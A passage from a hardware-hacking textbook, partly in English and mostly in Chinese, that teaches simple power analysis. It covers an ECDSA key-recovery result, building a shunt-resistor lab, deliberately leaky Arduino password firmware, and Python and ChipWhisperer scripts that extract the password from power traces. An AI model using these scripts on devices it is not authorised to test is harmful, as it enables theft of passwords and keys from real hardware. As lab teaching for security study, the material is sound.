found:0b110101001000000000010001100011000010100101101011100001101001100010111011101111000011100111101101000010100000111001001111110010111100001010001001010010111100110100100000001001110001010111100100000100101010010101110101001110110100010011100000001100101110 ``` Listing 8-4: Output of the Python ECDSA SPA attack Once you see this, the SPA algorithm has successfully recovered the key only from some noisy measurements of the simulated durations of the scalar multiplication. This algorithm has been written to be fairly portable to other ECC (or RSA) implementations. If you’re going after a real target, first creating a simulation like this notebook that mimics the implementation is recommended just to show that you can positively do key extraction. Otherwise, you’ll never know whether your SPA failed because of the noise or because you have a bug somewhere. ## Summary Power analysis is a powerful form of a side-channel attack. The most basic type of power analysis is a simple extension of a timing side-channel attack, which gives better visibility into what a program is executing internally. In this chapter, we showed how simple power analysis could break not only password checks but also some real cryptographic systems, including RSA and ECDSA implementations. Performing this theoretical and simulated trace might not be enough to convince you that power analysis really is a threat to a secure system. Before going further, next we’ll take you through the setup for a basic lab. You’ll get your hands on some hardware and perform basic SPA attacks, allowing you to see the effect of changing instructions or program flow in the power trace. After exploring how power analysis measurement works, we’ll look at advanced forms of power analysis in subsequent chapters.

第九章:桌面时间:简单的功率分析

在本章中,我们将介绍一个简单的实验室环境,允许你尝试一些代码样本。我们不会攻击那些我们一无所知的设备,而是从实验室里已有的真实设备开始,使用我们选择的特定算法进行攻击。这个实践将帮助我们积累对这些类型攻击的经验,而不必去猜测“封闭”设备的行为。首先,我们将介绍如何搭建简单的功率分析(SPA)实验环境,然后我们会为 Arduino 编程一个具有 SPA 漏洞的密码验证程序,看看能否提取出密码。最后,我们将使用 ChipWhisperer-Nano 进行同样的实验。可以将本章视为在真正演奏钢琴之前热身的练习。

家庭实验室

要构建一个简单的 SPA 实验室,你需要一个用于测量功率轨迹的工具,一个带有功率测量功能的电路板上的目标设备,以及一台指示目标执行操作并记录设备功率轨迹和输入/输出的计算机。

构建基本的硬件设置

你的实验室不需要昂贵或复杂,正如图 9-1 所示。

f09001

图 9-1:自制实验平台

这个简单的自制实验室由一个 USB 连接的示波器 1、一个带有一些电子元件用于测量的面包板上的目标设备 2,以及一台配有 USB-串口适配器的标准计算机 3 组成。ATmega328P 微控制器,如 Arduino 中使用的微控制器,被安装在一个带有电流测量电阻的特殊电路板上。

基本示波器

使用常规示波器时,最重要的要求是它必须能够在两个通道上以 100 MS/s(百万样本每秒)或更高的速率进行采样。许多示波器规定了一个最大采样率,但只有在单通道上才可以达到。如果使用两个通道,则每个通道的采样率是该最大值的一半,这意味着如果你想同时测量两个输入,100 MS/s 的示波器只能在 50 MS/s 下采样。对于这些实验,我们将只将第二通道用作触发器。你的示波器可能有外部触发器(这仍然允许你从一个通道获得最大采样率),但如果没有,确保你能在两个通道上同时以 100 MS/s 或更高的速度进行采样。要进行更先进的实现(例如硬件 AES 攻击),则需要更快的采样率——有时需要 1 GS/s 或更高。

低成本的普通示波器可能没有有用的计算机接口。例如,你会发现一些 USB 连接的示波器缺乏 API,无法与设备进行交互。当购买用于旁路分析的示波器时,确保你能够通过计算机控制该设备,并且可以快速地从示波器下载数据。

此外,要注意样本大小缓冲区。低成本设备通常只有小容量缓冲区,比如仅有 15,000 个样本,这将使你的工作变得更加困难。这是因为你需要在敏感操作的确切时刻触发采样,否则你会溢出示波器的内存缓冲区。你还将无法执行某些任务,比如对需要更大缓冲区的长时间公钥算法进行简单的功率分析。

专用的同步采样设备(如 ChipWhisperer)可以通过保持设备时钟和采样时钟之间的关系,减少你的采样率要求。有关示波器的更多信息,请参见附录 A。

选择微控制器

选择一个可以直接编程且没有运行操作系统的微控制器。Arduino 是一个完美的选择。不要通过尝试使用 Raspberry Pi 或 BeagleBone 这样的目标来开始你的侧信道事业。这些产品有太多复杂的因素,比如触发信号的可靠性问题、高时钟速度以及操作系统的干扰。我们是在构建一项技能,所以让我们从简单模式开始。

构建目标板

我们需要构建的第一个组件是一个微控制器目标板,在电源线上插入一个分流电阻。分流电阻是我们用来插入电路路径以测量电流的电阻的通用术语。电流流过该电阻时,会在电阻两端产生电压,我们可以使用示波器测量这个电压。

图 9-1 显示了一个测试目标的例子。图 9-2 详细说明了分流电阻的插入过程,其中分流电阻的低端连接到示波器通道。欧姆定律告诉我们,电阻两端“产生”的电压等于电阻值乘以电流(V = I × R)。电压极性将使得低端的电压较低。如果高端是 3.3 V,低端是 2.8 V,这意味着在电阻上产生了 0.5 V(3.3 - 2.8)。

f09002

图 9-2:分流电阻使得测量功耗变得更加容易。

如果我们只想测量分流电阻两端的电压,我们可以使用一种叫做差分探头的仪器。使用差分探头,我们只会得到分流电阻本身两端的精确电压,这将提供最准确的测量值。

一种不需要额外设备的方法(也是我们在本实验室中使用的方法)是假设分流电阻的高端连接到一个干净且恒定的电压电源,这意味着分流电阻高端的任何噪声都会加到低端的测量噪声上。我们通过简单地测量低端的电压来测量分流电阻两端的功耗,这个低端电压将是我们的恒定“高端”电压减去分流电阻上的压降。随着分流中的电流增大,分流电阻两端的压降也会增加,从而“低端”电压变小。

你需要的分流电阻的电阻值取决于目标设备的当前功耗。使用欧姆定律,V = I × R,你可以计算出合理的电阻值。大多数示波器的电压分辨率为 50 mV 至 5 V。电流(I)由设备决定,但它的范围从微控制器的几十毫安到大型系统级芯片(SoC)的几个安培。例如,如果你的目标是一个 50 mA 的小型微控制器,你可以使用 10 Ω到 50 Ω的电阻,而一个功耗为 5 A 的现场可编程门阵列(FPGA)可能需要 0.05 Ω到 0.5 Ω的电阻。较高电阻值的电阻会产生更大的电压降,从而为示波器提供更强的信号,但这可能会将设备电压降到如此低的水平,以至于它停止工作。

图 9-3 显示了来自图 9-1 的目标板 2 的示意图。

f09003

图 9-3:目标板的示意图

ATmega328P 微控制器运行目标代码,电阻(R2)使我们能够进行功率测量,输入电压源的噪声过滤由 C1、C2、C3 和 R1 完成。一个外部 USB-TTL 串口适配器连接到 RX 和 TX 线路。请注意,数字电源没有去耦电容;这些电容会滤除包含潜在有趣信息的功耗细节。如果你愿意,可以轻松修改此电路以使用其他微控制器。

你需要能够用目标代码编程微控制器,这可能意味着需要在目标面包板和 Arduino 之间移动物理芯片。Arduino Uno 使用我们之前提到的 ATmega328P 微控制器,所以当我们说“Arduino”时,我们指的是一个可以用来编程微控制器的开发板。

购买设备

如果你不想自己搭建侧信道分析实验室,可以购买现成的。ChipWhisperer-Nano(见图 9-4)或 ChipWhisperer-Lite(见图 9-5)可以分别替代图 9-1 中显示的所有硬件,价格大约为 50 美元或 250 美元。

f09004

图 9-4:ChipWhisperer-Nano

ChipWhisperer-Nano 是一个设备,允许你使用各种算法为附带的 STM32F0 编程并执行功耗分析。你可以拆下附带的目标,查看其他设备。与 ChipWhisperer-Lite 相比,其故障功能非常有限。

f09005

图 9-5:ChipWhisperer-Lite

ChipWhisperer-Lite 提供了捕获硬件和一个示例目标板。所附的目标可以是 Atmel XMEGA 或 STM32F303 ARM。除了旁道分析外,这个设备还允许你进行时钟和电压故障实验。同样,你可以拆下附带的目标,查看更高级的设备。这些设备包括目标和捕获硬件,都集成在一个板上。ChipWhisperer-Lite 是一个开源设计,所以你也可以自己构建它。另有像 Riscure 的 Inspector 或 CRI 的 DPA 工作站这样的商业工具可供选择;它们为更复杂和更高安全性的目标开发,但超出了普通硬件黑客的预算。

准备目标代码

我们暂时假设使用 Arduino 作为目标,之后将展示在 ChipWhisperer-Nano 上执行相同的攻击。无论你选择什么硬件,你都需要编程微控制器来执行加密或密码检查算法。

列表 9-1 显示了你需要编程到目标中的固件代码示例。

// Trigger is Pin 2
int triggerPin = 2;

String known_passwordstr = String("ilovecheese");
String input_passwordstr;
char input_password[20];
char tempchr;
int index;

// the setup routine runs once when you press reset:
void setup() {
  // initialize serial communication at 9600 bits per second:
  Serial.begin(9600);
  pinMode(triggerPin, OUTPUT);
  tempchr = '0';
  index = 0;
}

// the loop routine runs over and over again forever:
void loop() {
  //Wait a little bit after startup & clear everything
  digitalWrite(triggerPin, LOW);
  delay(250);
  Serial.flush();
  Serial.write("Enter Password:");

  // wait for last character
  while ((tempchr != '\n') && (index < 19)){
    if(Serial.available() > 0){
      tempchr = Serial.read();
      input_password[index++] = tempchr;
    }
  }

  // Null terminate and strip non-characters
  input_password[index] = '\0';
  input_passwordstr = String(input_password);
  input_passwordstr.trim();
  index = 0;
  tempchr = 0;

1 digitalWrite(triggerPin, HIGH); 

2 if(input_passwordstr == known_passwordstr){ 
    Serial.write("Password OK\n");
  } else {
    //Delay up to 500ms randomly
  3 delay(random(500)); 
    Serial.write("Password Bad\n");
  }
}

列表 9-1:使用 Arduino 执行简单操作并触发的示例微控制器固件

目标首先从用户读取密码。然后,目标将该密码与存储的密码 2(在此案例中,硬编码密码为ilovecheese)进行比较。在密码比较操作期间,某个特定的 I/O 行会被设置为高电平,允许你触发示波器在此操作过程中进行信号测量 1。

这款固件有一个小技巧。尽管它使用了一个泄漏的字符串比较 2(如我们在列表 8-1 中介绍的时序攻击),它通过在操作结束时随机等待最多 500 毫秒,增加了时序攻击的难度 3,使其成为适合进行 SPA 攻击的目标。

构建设置

在计算机端,你的工作将涉及以下内容:

  • 与目标设备通信(发送命令和数据并接收响应)

  • 适当设置示波器(通道、触发器和刻度)

  • 从示波器下载数据到计算机

  • 将功率跟踪和发送到设备的数据存储在数据库或文件中

我们将在接下来的几个章节中查看这些步骤的要求。最终目标是测量微控制器在执行一个简单程序时的功耗,如列表 9-1 所示。

与目标设备通信

由于你正在定位一个自己编程的设备,你可以定义自己的通信协议。在列表 9-1 中,它只是一个读取密码的串行接口。为了简化,“正确”的密码是硬编码在程序中的,但通常,最好允许配置“敏感信息”(例如密码)。这种做法使得你可以更轻松地进行实验(例如,尝试更长或更短的密码)。当你开始针对加密进行实验时,这种做法同样适用:从计算机配置密钥材料可以进行实验。

另一部分通信是触发示波器。在目标设备运行带有“敏感操作”的任务时,你需要监控设备的功耗。列表 9-1 展示了触发过程,我们在比较发生之前将触发线拉高,在比较后将其拉低。

分流电阻

分流电阻的输出信号相当强大,应该能够直接驱动你的示波器。使用 BNC 连接器输入将信号直接连接到示波器,而不是通过探头传输信号,因为探头可能通过接地连接引入噪声。此外,如果你的示波器只有固定的 10:1 探头,信号的峰峰值电压将会降低。完成这些操作后,你的示波器可以测量目标设备因功耗变化所引起的电压差异。

示波器设置

你需要在示波器上正确设置一些参数:电压范围、耦合和采样率。这是“示波器 101”,因此我们将在进行侧信道捕获时只提供一些简短的具体技巧。有关使用示波器的更多细节,请参见第二章“数字示波器”部分。如果你需要购买示波器,请参阅附录 A 中的“查看模拟波形(示波器)”部分。

电压范围应该选择足够高,以确保捕获的信号不会发生削波。例如,当你有一个 1.3 V 的信号,但范围设置为 1.0 V 时,1.0 V 以上的所有信息都会丢失。另一方面,电压范围也需要选择得足够低,以避免量化误差。这意味着,如果你的范围设置为 5 V,但你有一个 1.3 V 的信号,你就浪费了 3.7 V 的范围。如果你的示波器提供了 1 V 和 2 V 的选择,对于 1.3 V 的信号,你应该选择 2 V。

你的示波器的输入耦合模式通常并不太重要。除非你有充分的理由不使用它,否则最好使用 AC 耦合模式,因为它将信号围绕 0 V 电平居中。你也可以使用 DC 耦合模式并调整偏移量来达到相同的效果。AC 耦合模式的优点在于它消除了电压的逐渐漂移或非常低频的噪声,这些噪声可能会使测量变得复杂,比如如果电压调节器的输出随着系统升温而漂移。如果你正在使用 VCC 侧的分流器,AC 耦合模式还会补偿由于偏置电压引起的 DC 偏移,正如我们在图 9-2 中所示。DC 偏移通常不会携带旁路信道信息。

对于采样率,其权衡在于增加处理时间但在更高的采样率下能获得更好的捕获质量,而在较低的采样率下则是更快的处理速度但质量较差。在开始时,可以使用这样一个经验法则:采样率为目标时钟频率的 1 到 5 倍。

你的示波器可能还有其他有用的功能,比如 20 MHz 的带宽限制,能够减少高频噪声。你还可以引入模拟低通滤波器来达到相同的效果。如果你在攻击低频设备,这种高频噪声的减少会很有帮助,但如果你在攻击非常快速的设备,你可能需要获取来自更高频率部分的数据。一个好的做法是将带宽限制设置为采样率的大约五倍。例如,5 MHz 的目标可以以 10 MS/s 的速度进行采样,并在 50 MHz 时进行带宽限制。

一定要进行实验,以确定适合特定设备和算法的最佳测量设置。这是一次很好的学习经验,并且能教会你设置如何影响质量和采集速度。

与示波器的通信

要执行攻击,你需要一种方法将跟踪数据下载到计算机上。对于简单的功耗分析攻击,你可能通过直观地检查示波器显示屏就能做到。任何更高级的攻击都需要将数据从示波器下载到计算机。

与示波器的通信方式几乎完全取决于示波器的供应商。一些供应商提供自己的库,并为 C 和 Python 等语言提供语言绑定来使用该库。许多其他供应商则依赖于虚拟仪器软件架构(VISA),这是一种测试设备之间通信的行业标准。如果你的示波器支持 VISA,你应该能在几乎所有语言中找到高层库来帮助你与示波器接口,例如 Python 的 PyVISA。你需要实现特定的命令或选项以适应你的示波器,但供应商通常会提供一些说明。

数据存储

你如何存储跟踪数据几乎完全取决于你计划使用的分析平台。如果你打算完全在 Python 中进行分析,你可以寻找与流行的 NumPy 库兼容的存储格式。如果使用 MATLAB,你则可以利用 MATLAB 本机的文件格式。如果你计划尝试分布式计算,你需要调查适合你集群的文件系统。

在处理非常大的跟踪数据集时,存储格式变得尤为重要,你需要优化它以便快速线性访问。在专业实验室中,1TB 级别的数据集并不罕见。另一方面,针对你最初的工作和调查,你的数据存储需求应该相对较小。在 8 位微控制器上攻击软件实现可能只需要 10 或 20 次功率测量,所以几乎任何比从电子表格中复制粘贴数据更好的方法都能奏效!

综合起来:SPA 攻击

使用我们新的设置,接下来让我们执行实际的 SPA 攻击,使用清单 9-1 中的代码。如前所述,这段代码有一个泄漏的密码比较。代码末尾的随机等待掩盖了时间泄漏,因此无法通过时间直接利用它。我们需要更仔细地查看,通过使用 SPA 对跟踪数据进行分析,看看能否识别出各个字符比较的结果。如果跟踪数据揭示了哪个字符是错误的,我们可以进行一个非常有限的暴力破解攻击来恢复密码,正如我们在第八章的纯时间攻击中所做的那样。

首先,我们需要对 Arduino 做一些额外的准备。然后,我们将测量当我们提供正确、部分正确和错误的密码时的功率跟踪数据。如果这些跟踪数据揭示了第一个错误字符的索引,我们就可以暴力破解其余部分,恢复正确的密码。

准备目标

为了演示一种不需要焊接的捕获跟踪数据方法,我们需要扩展图 9-1 中展示的设置。我们基本上是将 Arduino Uno 拿出来,然后将 ATmega328P 微控制器移到面包板上(见图 9-6)。如前所述,我们需要在 VCC 引脚上加一个电流分流器,这就是为什么我们不能仅仅使用普通的 Arduino 板(至少不进行一些焊接)。

f09006

图 9-6:用作旁道分析攻击目标的简易 Arduino

图 9-7 显示了 Arduino Uno 所需接线的详细信息。

f09007

图 9-7:Arduino Uno 所需接线的详细信息(此图使用 Fritzing 创建)。

引脚 9 和 10 从空的集成电路(IC)插座中接出,那里曾经是微控制器,将其连接到面包板上。这些跳线将所需的晶体频率从电路板传递给微控制器 IC。跳线应该尽可能短。将这些敏感的线路接出板外并不是一个好主意,尽管实践中通常可行。如果你在使系统正常工作时遇到问题,可能是这些线路太长了。

电阻和电容的值并不是至关重要的。这里使用的电阻是 100 Ω,但 22 Ω 到 100 Ω 之间的任何电阻都可以使用。电容范围是 100μF 到 330μF 之间也可以使用。(图 9-3 中的原理图展示了一些细节。注意,图 9-3 中显示的 Y1、C5 和 C6 在这里不需要,因为这些元件已经集成在 Arduino 主板上。)

现在,Arduino 已经被改装用于功率测量,我们从清单 9-1 编写代码。连接到串口终端后,你应该会看到一个提示符,可以在其中输入密码(见图 9-8)。

一定要测试代码在有效密码和无效密码下的行为是否正确。你可以通过手动输入密码或者编写一个与目标代码直接通信的测试程序来进行测试。此时,你已准备好进行攻击!

f09008

图 9-8:编程后的 Arduino 的串口输出

准备示波器

设置示波器以触发正在使用的数字 I/O 线路。我们使用的是“数字 I/O 2”,它是 ATmega328P 芯片上的引脚 4。目标代码在敏感操作之前(在这种情况下,是密码比较)将该线路拉高。

首先,尝试重复发送相同的密码。你应该得到非常相似的波形。如果没有,那就去调试你的设置。你的触发器可能没有被示波器捕捉到,或者测试程序可能没有正确运行。即将在图 9-9 中看到的虚线左侧的波形捕捉提供了一个关于波形应该如何相似的参考。

一旦你确信测量设置正常工作,便可以尝试各种示波器设置,参考上一节中的建议。Arduino Uno 的工作频率为 16 MHz,所以将示波器设置为 20 MS/s 到 100 MS/s 之间的任何值。调节示波器的范围,使其能够精准地显示信号而不发生截断。

为了方便搭建,我们使用了示波器探头。如前所述,与直接将 BNC 连接的线缆接入示波器相比,这会导致一些信号损失。由于目标上有足够的信号,因此这不是一个大问题。

如果你的示波器探头可以在 10×和 1×之间切换,你可能会发现它们在 1×位置工作得更好。1×位置提供较少的噪声,但带宽大大降低。在这个特定的情况下,较低的带宽实际上是有帮助的,因此我们更倾向于使用 1×设置。如果你的示波器有带宽限制(许多示波器提供 20 MHz 带宽限制选项),可以启用它,看看信号是否变得更清晰。如果你正在考虑购买示波器,我们将在附录 A 中介绍你可能需要的选项。

信号分析

现在你可以开始尝试不同的密码了;在发送正确和错误密码时,你应该能看到明显的差异。图 9-9 展示了在运行时用不同密码记录的功率测量例子:正确密码(顶部,ilovecheese)、完全错误的密码(底部,test)和部分正确的密码(中间,iloveaaaaaa)。

f09009

图 9-9:展示了正确、部分正确和错误密码的功率轨迹;箭头指示字符比较操作。覆盖在每条轨迹上的黑色信号是触发信号。

在顶部的两条轨迹和底部的轨迹之间可以明显看到差异。字符串比较函数更快地检测字符数是否不同——底部轨迹显示了较短的触发信号。更有趣的地方是,相同字符数但值不正确的情况,如顶部和中间的轨迹所示。对于这些轨迹,功率特征在虚线之前是相同的,之后才开始进行字符比较。仔细检查正确密码,你可以看到大约 11 个重复的片段,这些片段由箭头标示,完美匹配ilovecheese的 11 个字符。

现在,通过查看中间的iloveaaaaaa密码轨迹,你可以看到只有五个这样的片段。每个“片段”表示通过某个比较循环的一次迭代,因此这些片段的数量对应于正确密码前缀的长度。与第八章中的时间攻击相似,这意味着我们只需一次猜测每个可能的输入字符,也就意味着我们可以非常快速地猜测密码(前提是我们编写一个脚本来实现这一点)。

脚本化通信和分析

你需要将示波器和目标设备都与某个编程环境连接,以便进行本节的操作。这个接口将允许你编写脚本,发送任意的密码,同时记录功率测量值。我们将使用这个脚本来确定接受了多少个初始字符。

这个脚本的具体内容将取决于你用来从示波器下载数据的系统。清单 9-2 展示了一个与 PicoScope USB 设备以及 Arduino 密码检查代码一起使用的脚本。你需要根据你的具体目标调整设置;这不仅仅是一个复制-粘贴-运行的任务。

#Simple Arduino password SPA/timing characterization
import numpy as np
import pylab as plt
import serial
import time
#picoscope module from https://github.com/colinoflynn/pico-python
from picoscope import ps2000

#Adjust serial port as needed
try:
    ser = serial.Serial(
    port='com42',
    baudrate=9600,
    timeout=0.500
    )

    ps = ps2000.PS2000()

    print("Found the following picoscope:")
    print(ps.getAllUnitInfo())

    #Need at least 13us from trigger
    obs_duration = 13E-6

    #Sample at least 4096 points within that window
    sampling_interval = obs_duration / 4096

    #Configure timebase
 (actualSamplingInterval, nSamples, maxSamples) = \
        ps.setSamplingInterval(sampling_interval, obs_duration)

    print("Sampling interval = %f us" % (actualSamplingInterval *
                                         nSamples * 1E6))
    #Channel A is trigger
    ps.setChannel('A', 'DC', 10.0, 0.0, enabled=True)
    ps.setSimpleTrigger('A', 1.0, 'Rising', timeout_ms=2000, enabled=True)

    #50mV range on channel B, AC coupled, 20MHz BW limit
    ps.setChannel('B', 'AC', 0.05, 0.0, enabled=True, BWLimited=True)

    #Passwords to check
    test_list = ["ilovecheese", "iloveaaaaaa"]
    data_list = []

    #Clear system
    ser.write((test_list[0] + "\n").encode("utf-8"))
    ser.read(128)

    for pw_test in test_list:
        #Run capture
        ps.runBlock()
        time.sleep(0.05)
        ser.write((pw_test + "\n").encode("utf-8"))
        ps.waitReady()
        print('Sent "%s" - received "%s"' %(pw_test, ser.read(128)))
        data = ps.getDataV('B', nSamples, returnOverflow=False)
        #Normalize data by std-dev and mean
        data = (data - np.mean(data)) / np.std(data)
        data_list.append(data)

    #Plot password tests
    x = range(0, nSamples)
    pltstyles = ['-', '--', '-.']
    pltcolor = ['0.5', '0.1', 'r']
    plt.figure().gca().set_xticks(range(0, nSamples, 25))
    for i in range(0, len(data_list)):
        plt.plot(x, data_list[i], pltstyles[i], c=pltcolor[i], label= \        test_list[i])
    plt.legend()
    plt.xlabel("Sample Number")
    plt.ylabel("Normalized Measurement")
    plt.title("Password Test Plot")
    plt.grid()
    plt.show()
finally:
    #Always close off things
    ser.close()
    ps.stop()
    ps.close()

清单 9-2:连接计算机到 PicoScope 2000 系列及其 Arduino 目标的示例脚本

清单 9-2 中的 Python 脚本将显示如图 9-10 所示的图表。请注意,这张图中的标记是通过额外的代码添加的,而这些代码在清单 9-2 中没有显示。如果你想查看确切的标记生成代码,可以查看伴随的代码库,其中包含了生成图 9-10 的代码。

f09010

图 9-10:两个不同密码猜测的功率曲线(正确的用圆圈标记;错误的用方块标记)

与图 9-9 相比,图 9-10 进行了放大,比较从样本 148 开始。实线表示正确的密码;部分正确的密码用破折号表示。你可以观察到,从样本 148 开始,每 25 个样本就会重复一个模式——似乎每次比较都有一个模式。五次比较的线条是重叠的。注意,在样本 273 处,正确的密码和部分正确的密码已经分开,这与前五个字符(ilove)在两次密码猜测中相同这一观点一致。为了强调这一点,我们在每 25 个样本处用圆圈标记了正确密码的功率曲线值,用方块标记了错误密码的功率曲线值。注意,前五个标记的位置,圆圈和方块非常接近,但在第六个位置,它们的差异变得明显。

为了编写这个攻击脚本,我们可以从样本 148 开始,每 25 个样本比较一次功率曲线的样本值。通过图 9-10 的标记,我们可以看到大约 1.2V 的阈值电压,可以用来区分好的和不好的迭代。

我们怎么知道比较是从样本点 148 开始的?你可以通过使用“完全错误”的密码来确定比较的开始,这将在比较开始时就显示出分歧。为了做到这一点,你需要在猜测密码列表中添加一个完全错误的密码选项,比如aaaaaaaaaaa

攻击脚本

我们使用了“眯眼看迹线”技术来识别片段,这通常是 SPA 的起点,但为了编写脚本,我们需要更加精确。我们需要一个区分器,它能够告诉脚本是否存在一个片段。考虑到这一点,我们制定了以下规则:如果在样本 148 + 25i 处有一个大于 1.2 V 的峰值,则字符比较片段索引 i 被判定为成功。你会在 图 9-10 中注意到,不正确的密码在样本 273 处发生了偏差,此时不正确密码的迹线值约为 1.06 V。请注意,迹线可能会很嘈杂,可能需要你对信号进行滤波或多次检查,以确认结果是否一致。

你还需要在样本附近 ± 1 个样本的范围内进行搜索,因为示波器可能会有一些抖动。图 9-10 中的快速检查表明这应该是有效的。通过这些知识,我们可以构建 列表 9-3 中的 Python 脚本,它会自动猜测正确的密码。

#Simple Arduino password SPA/timing attack
import numpy as np
import pylab as plt
import serial
import time
#picoscope module from https://github.com/colinoflynn/pico-python
from picoscope import ps2000

#Adjust serial port as needed
try:
    ser = serial.Serial(
    port='com42',
    baudrate=9600,
    timeout=0.500
    )

    ps = ps2000.PS2000()

    print("Found the following picoscope:")
    print(ps.getAllUnitInfo())

    #Need at least 13us from trigger
    obs_duration = 13E-6

    #Sample at least 4096 points within that window
    sampling_interval = obs_duration / 4096

    #Configure timebase
    (actualSamplingInterval, nSamples, maxSamples) = \
        ps.setSamplingInterval(sampling_interval, obs_duration)

 #Channel A is trigger
    ps.setChannel('A', 'DC', 10.0, 0.0, enabled=True)
    ps.setSimpleTrigger('A', 1.0, 'Rising', timeout_ms=2000, enabled=True)

    #50mV range on channel B, AC coupled, 20MHz BW limit
    ps.setChannel('B', 'AC', 0.05, 0.0, enabled=True, BWLimited=True)

    guesspattern="abcdefghijklmnopqrstuvwxyz"
    current_pw = ""

    start_index = 148
    inc_index = 25

    #Currently uses fixed length of 11, could also use response
    for guesschar in range(0,11):
        for g in guesspattern:
            #Make guess, ensure minimum length too
            pw_test = current_pw + g
            pw_test = pw_test.ljust(11, 'a')

            #Run capture
            ps.runBlock()
            time.sleep(0.05)
            ser.write((pw_test + "\n").encode("utf-8"))
            ps.waitReady()
            response = ser.read(128).decode("utf-8").replace("\n","")
            print('Sent "%s" - received "%s"' %(pw_test, response))
            if "Password OK" in response:
                print("****FOUND PASSWORD = %s"%pw_test)
                raise Exception("password found")
            data = ps.getDataV('B', nSamples, returnOverflow=False)
            #Normalized by std-dev and mean
            data = (data - np.mean(data)) / np.std(data)

            #Location of check
            idx = (guesschar*inc_index) + start_index

            #Empirical threshold, check around location a bit
            if max(data[idx-1 : idx+2]) > 1.2:
                print("***Character %d = %s"%(guesschar, g))
                current_pw = current_pw + g;
                break

            print

    print("Password = %s"%current_pw)

finally:
    #Always close off things
    ser.close()
    ps.stop()
    ps.close()

列表 9-3:一个示例脚本,利用发现的泄漏并猜测密码

本脚本实现了基本的 SPA 攻击:它捕获密码检查,通过在 148 + 25i 处的峰值高度来判断字符 i 是否正确,然后简单地遍历所有字符直到找到完整的密码:

****FOUND PASSWORD = ilovecheese

这个脚本为了保持简单运行得有点慢。有两个改进的空间。首先,serial.read() 函数中的超时设置为始终等待 500 毫秒。我们可以改为查找换行符(\n),并停止尝试读取更多数据。其次,当输入错误密码时,Arduino 中的密码检查固件会有一个延迟。我们可以使用 I/O 线路在每次尝试后重置 Arduino 芯片,跳过该延迟。我们将把这些改进留给读者作为练习。

在查看你的迹线时,你需要非常仔细地审查功率迹线。根据你放置区分器的位置,你可能需要翻转比较的符号才能使这个示例正常工作。会有多个位置显示泄漏,因此代码中的小调整可能会改变你的结果。

如果你想在已知硬件上看到这个示例的运行,配套的笔记本(参见 nostarch.com/hardwarehacking/)展示了如何使用 ChipWhisperer-Nano 或 ChipWhisperer-Lite 与 Arduino 目标进行通信。此外,配套笔记本还包括“预录制”的功率迹线,这样你就可以在没有硬件的情况下运行此示例。然而,通过瞄准内置的目标而不是你构建的 Arduino,我们可以使这个攻击更加一致,接下来我们会讨论这一点。此外,我们还将努力使攻击更加自动化,而不需要手动确定区分器的位置和值。

ChipWhisperer-Nano 示例

现在让我们来看看对 ChipWhisperer-Nano 的类似攻击,该设备将目标、编程器、示波器和串口集成在一个包中,这意味着我们可以集中精力处理示例代码并自动化攻击。像其他章节一样,你将使用一个配套的笔记本(nostarch.com/hardwarehacking/);如果你有 ChipWhisperer-Nano,可以打开它。

构建并加载固件

首先,你需要为 STM32F0 微控制器目标构建示例软件(类似于 Listing 9-1)。你不需要编写自己的代码,因为你将使用 ChipWhisperer 项目中的源代码。构建固件只需在笔记本中调用make并指定适当的平台,如 Listing 9-4 所示。

%%bash
**cd ../hardware/victims/firmware/basic-passwdcheck**
**make PLATFORM=CWNANO CRYPTO_TARGET=NONE**

Listing 9-4:构建basic-passwdcheck固件,类似于 Listing 9-1

然后,你可以连接到目标并使用 Listing 9-5 中的笔记本代码对板载 STM32F0 进行编程。

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWNANO'
%run "Helper_Scripts/Setup_Generic.ipynb"
fw_path = '../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-CWNANO.hex'
cw.program_target(scope, prog, fw_path)

Listing 9-5:初始化设置并使用我们的自定义固件编程包含的目标

这段代码创建了一些执行功率分析的默认设置,并随后编程 Listing 9-4 中构建的固件 hex 文件。

初步查看通信

接下来,让我们看看设备在重置时打印的启动信息。笔记本环境中有一个名为reset_target()的函数,它通过切换nRST线来执行目标重置,重置后我们可以记录接收到的串行数据。为此,我们将运行 Listing 9-6 中的代码。

ret = ""
target.flush()
reset_target(scope)
time.sleep(0.001)
num_char = target.in_waiting()
while num_char > 0:
    ret += target.read(timeout=10)
    time.sleep(0.01)
    num_char = target.in_waiting()
print(ret)

Listing 9-6:重置设备并读取启动信息

此次重置导致显示 Listing 9-7 中的启动信息。

*****Safe-o-matic 3000 Booting...
Aligning bits........[DONE]
Checking Cesium RNG..[DONE]
Masquerading flash...[DONE]
Decrypting database..[DONE]

WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED
Please enter password to continue:

Listing 9-7:演示密码检查代码的启动信息

看起来启动安全性非常强。。。但或许我们可以利用 SPA 攻击密码比较。让我们看看实际上实现了什么。

捕获一个追踪

因为 ChipWhisperer 将所有功能集成到一个平台中,所以构建一个执行密码比较功率捕获的功能要容易得多。 Listing 9-8 中的代码定义了一个函数,用于使用给定的测试密码捕获功率轨迹。实际上,这段代码大部分时间只是等待启动信息结束,之后目标等待输入密码。

def cap_pass_trace(pass_guess):
    ret = ""
    reset_target(scope)
    time.sleep(0.01)
    num_char = target.in_waiting()
    #Wait for boot messages to finish so we are ready to enter password
    while num_char > 0:
        ret += target.read(num_char, 10)
        time.sleep(0.01)
        num_char = target.in_waiting()

    scope.arm()
    target.write(pass_guess)
    ret = scope.capture()
    if ret:
        print('Timeout happened during acquisition')

    trace = scope.get_last_trace()
    return trace

Listing 9-8:记录目标处理任意密码的功率轨迹的函数

接下来,我们只需使用scope.arm()告诉 ChipWhisperer 等待触发事件。我们将密码发送到目标,目标会执行密码检查。我们的协作目标通过触发器(在这种情况下,是 GPIO 引脚变高,这是我们在目标固件中添加的小作弊)告诉 ChipWhisperer 密码比较开始的时刻。最后,我们记录功率轨迹并将其返回给调用者。

定义了该功能后,我们可以运行清单 9-9 来捕获跟踪。

%matplotlib notebook
import matplotlib.pylab as plt
trace = cap_pass_trace("hunter2\n")
plt.plot(trace[0:800], 'g')

清单 9-9:捕获特定密码的跟踪

该代码应生成图 9-11 所示的功率跟踪。

f09011

图 9-11:设备处理特定密码时的功耗

现在我们能够为特定密码捕获功率跟踪,让我们看看是否可以将其转化为攻击。

从跟踪到攻击

